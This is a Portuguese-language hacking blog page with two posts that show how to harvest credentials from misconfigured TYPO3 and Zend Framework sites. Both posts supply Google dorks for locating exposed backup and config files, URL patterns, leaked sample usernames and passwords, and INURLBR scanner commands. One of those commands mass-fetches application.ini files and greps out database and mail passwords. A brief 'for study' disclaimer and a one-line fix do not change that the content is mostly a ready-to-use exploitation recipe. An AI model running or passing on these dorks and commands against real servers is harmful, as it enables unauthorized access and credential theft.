Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador Full Info Disclosure. Mostrar todas as postagens
Mostrando postagens com marcador Full Info Disclosure. Mostrar todas as postagens

quarta-feira, 14 de outubro de 2015

( 0day ) CMS Typo3 / Falha Full Info Disclosure

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor. No procedimento de criar dork, refazer, criar um novo padrão acabei descobrindo uma falha no CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.

Continuando minhas pesquisas atrás de vulnerabilidade em CMS's, nos últimos dias estava procurando por padrões em arquivos .XML,T3D, que me pudessem trazer informações sensíveis do servidor.
No procedimento de criar dork, refazer e criar um novo padrão. acabei descobrindo uma falha no
CMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma.


"Não é um CMS muito usado, o artigo é somente para estudos mesmo, um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."
"Não é um CMS muito usado, o artigo é somente para estudos mesmo. Um desenvolvedor pode ver esse exemplo e saber o que não fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."

Observando bem os arquivos eles seguem um padrão de backup do próprio sistema, em pastas desprotegidas. O Google indexa seu conteúdo que é totalmente possível acessá-los com operadores avançados de pesquisa - (DORKS / STRINGS).
Os arquivos de senha são guardados na pasta "/fileadmin/"  alguns com uma string fixa nome "utopia"  e sua extensão é ".t3d.xml" ou .t3d


INFORMAÇÕES:

#  ----------------------------------------------------------
#[+]  Type:         Full Info Disclosure  
#[+]  Vendor:       https://typo3.org/typo3-cms/
#[+]  VULNERABLE VERSIONS:  4.2, 4.5
#  ----------------------------------------------------------

#[+]  AUTOR:        googleINURL
#[+]  EMAIL:        [email protected]
#[+]  Blog:         http://blog.inurl.com.br
#[+]  Twitter:      https://twitter.com/googleinurl
#[+]  Fanpage:      https://fb.com/InurlBrasil
#[+]  Pastebin      http://pastebin.com/u/Googleinurl
#[+]  GIT:          https://github.com/googleinurl
#[+]  PSS:          http://packetstormsecurity.com/user/googleinurl
#[+]  YOUTUBE:      http://youtube.com/c/INURLBrasil
#[+]  PLUS:         http://google.com/+INURLBrasil
#[+]  IRC:          irc.pŕiv8.jp / #inurlbrasil

 DORKS DE PESQUISA:
  1. /fileadmin/utopia ext:xml
  2. /fileadmin/utopia*.t3d.xml
  3. site:fr /fileadmin/utopia ext:xml
  4. "utopia" inurl:t3d ext:xml
  5. /fileadmin/  typo3 ext:t3d
POC ARQUIVO .XML:

http://{server}/fileadmin/utopia{random}.t3d.xml
http://{server}/subdir/fileadmin/utopia{random}.t3d.xml
Ex:
http://vull.fr/fileadmin/utopia4cb2c07e326f4.t3d.xml
http://vull.fr/subdir/subdir2_/fileadmin/utopia506c4cd063fa0.t3d.xml

Exemplo Conteúdo arquivo:

POC ARQUIVO .T3D:

http://{server}/fileadmin/*.t3d
http://{server}/fileadmin/archives_site/*.t3d
http://{server}/subdir/fileadmin/*.t3d
Ex:
http://vull.fr/fileadmin/archives_site/utopia_Inscription%20lilas%20autopartage.t3d
http://vull.fr/subdir/fileadmin/archives_site/utopia_autotao.t3d

Exemplo Conteúdo arquivo:
s:11:"admin_xxxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:10:"adminxxx";s:8:"password";s:10:"adminlilas";s:7:"origUid";a:2:{i:0;s:2:"10";i:1;s:14:"Administrateur";}}}}i:3;a:1:{s:8:"fe_users";a:1:{i:100;a:4:{s:4:"name";s:10:"user_xxx";s:5:"email";s:26:"[email protected]";s:8:"username";s:9:"userxxx";s:8:"password";s:32:"dcd9e367d292b7019fab159ab8c8c26a";}}}i:4;a:1:{s:17:"tx_icsutopia_site";a:1:{i:1;a:4:{s:6:"level0";s:2:"72";s:6:"level1";s:2:"73";s:6:"level2";s:3:"232";s:10:"base_model";s:9:"72,73,232";}}}}s:3:"t3d";s:43:"/www/html/typo3temp/utopia519e1b3d6c76b.t3d";}}s:15:"relStaticTables";a:1

Pesquisa em massa usando SCANNER INURLBR.
Download: https://github.com/googleinurl/SCANNER-INURLBR
Comando:
php inurlbr.php --dork '/fileadmin/utopia*.t3d.xml' -s t3d.txt -t  2 -a '<username>'
Resultado:
Solução ? Faça upgrade do CMS e Configure adequadamente as permissões de arquivos e pastas do se servidor.

terça-feira, 8 de setembro de 2015

Explorando falha no Zend Framework Full Info Disclosure again! again!

3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n!   Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.  Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.  Acessar informações como:

4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 4Ga1n! 

Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs & admins.
Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:
  1. 'mail.transport.username'
  2. 'mail.transport.password'
  3. 'db.adapter'
  4. 'db.params.host'
  5. 'db.params.username'
  6. 'db.params.password'
  7. 'db.params.dbname'
Exemplo:
resources.mail.transport.host ="smtp.target.com.br"
resources.mail.transport.auth = "loginre"
sources.mail.transport.username = "wangxydlutre"
sources.mail.transport.password = "12333"
resources.db.adapter = "PDO_MYSQL"
resources.db.params.host = "mysql.target.com.br"
resources.db.params.username = "root"
resources.db.params.password = "123456"
resources.db.params.dbname = "db_app_teste"

Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.

Exemplo de estrutura URL:
  • http://{taget}/pasta/application/configs/{arquivo}.ini
  • http://{taget}/application/configs/{arquivo}.ini
Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Acessando arquivo via CURL: curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'

Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.

DORK[s]:

  • site:br index of "/application/configs/"
  • inurl:/application/configs/application.ini
  • site:com ext:ini inurl:/application/  -inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
  • -site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
  • inurl:/configs/ "params.password" db.ini ext:ini
  • -github.com -mozilla.org -.google.com inurl:/application/  ext:ini password

Agora vamos explora em massa com SCANNER inurlbr

Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:
        
/* [*]ZEND FRAMEWORK
* Zend-Framework Full Info Disclosure
* The username and password of the database may be obtained trough 
* the "application.ini" file
$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';
$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';
$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';
$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';
$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

COMMAND

SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'

SET ARQUIVO DE SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'

SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:
-q 1,6,7,14,22

SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'
Use:
--ifurl 'configs'

SET REPLACE - MANIPULAÇÃO DE URL:
--replace 'OLD_STRIN[INURL]NEW_STRING'
Use:
--replace '/configs[INURL]/configs/application.ini#'

Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/

URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/

A function substituiu a string /configs por /configs/application.ini# e tudo depois do "#" é ignorado.

SET COMANDO PERSONALIZADO: 
Só vai executar tal comando se o script achar algo que seja considerado vulnerável.
--commnad-vul '{COMMAND_LINE}'
Use:
--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado
COMANDO COMPLETO:
php inurlbr.php --dork 'site:br index of "/application/configs/"-s 'zend.txt-q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"


PRINT OUTPUT:
OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado  COMANDO COMPLETO: php inurlbr.php --dork 'site:br index of "/application/configs/"' -s 'zend.txt' -q 1,6,7,14,22 --replace '/configs[INURL]/configs/application.ini#' --command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"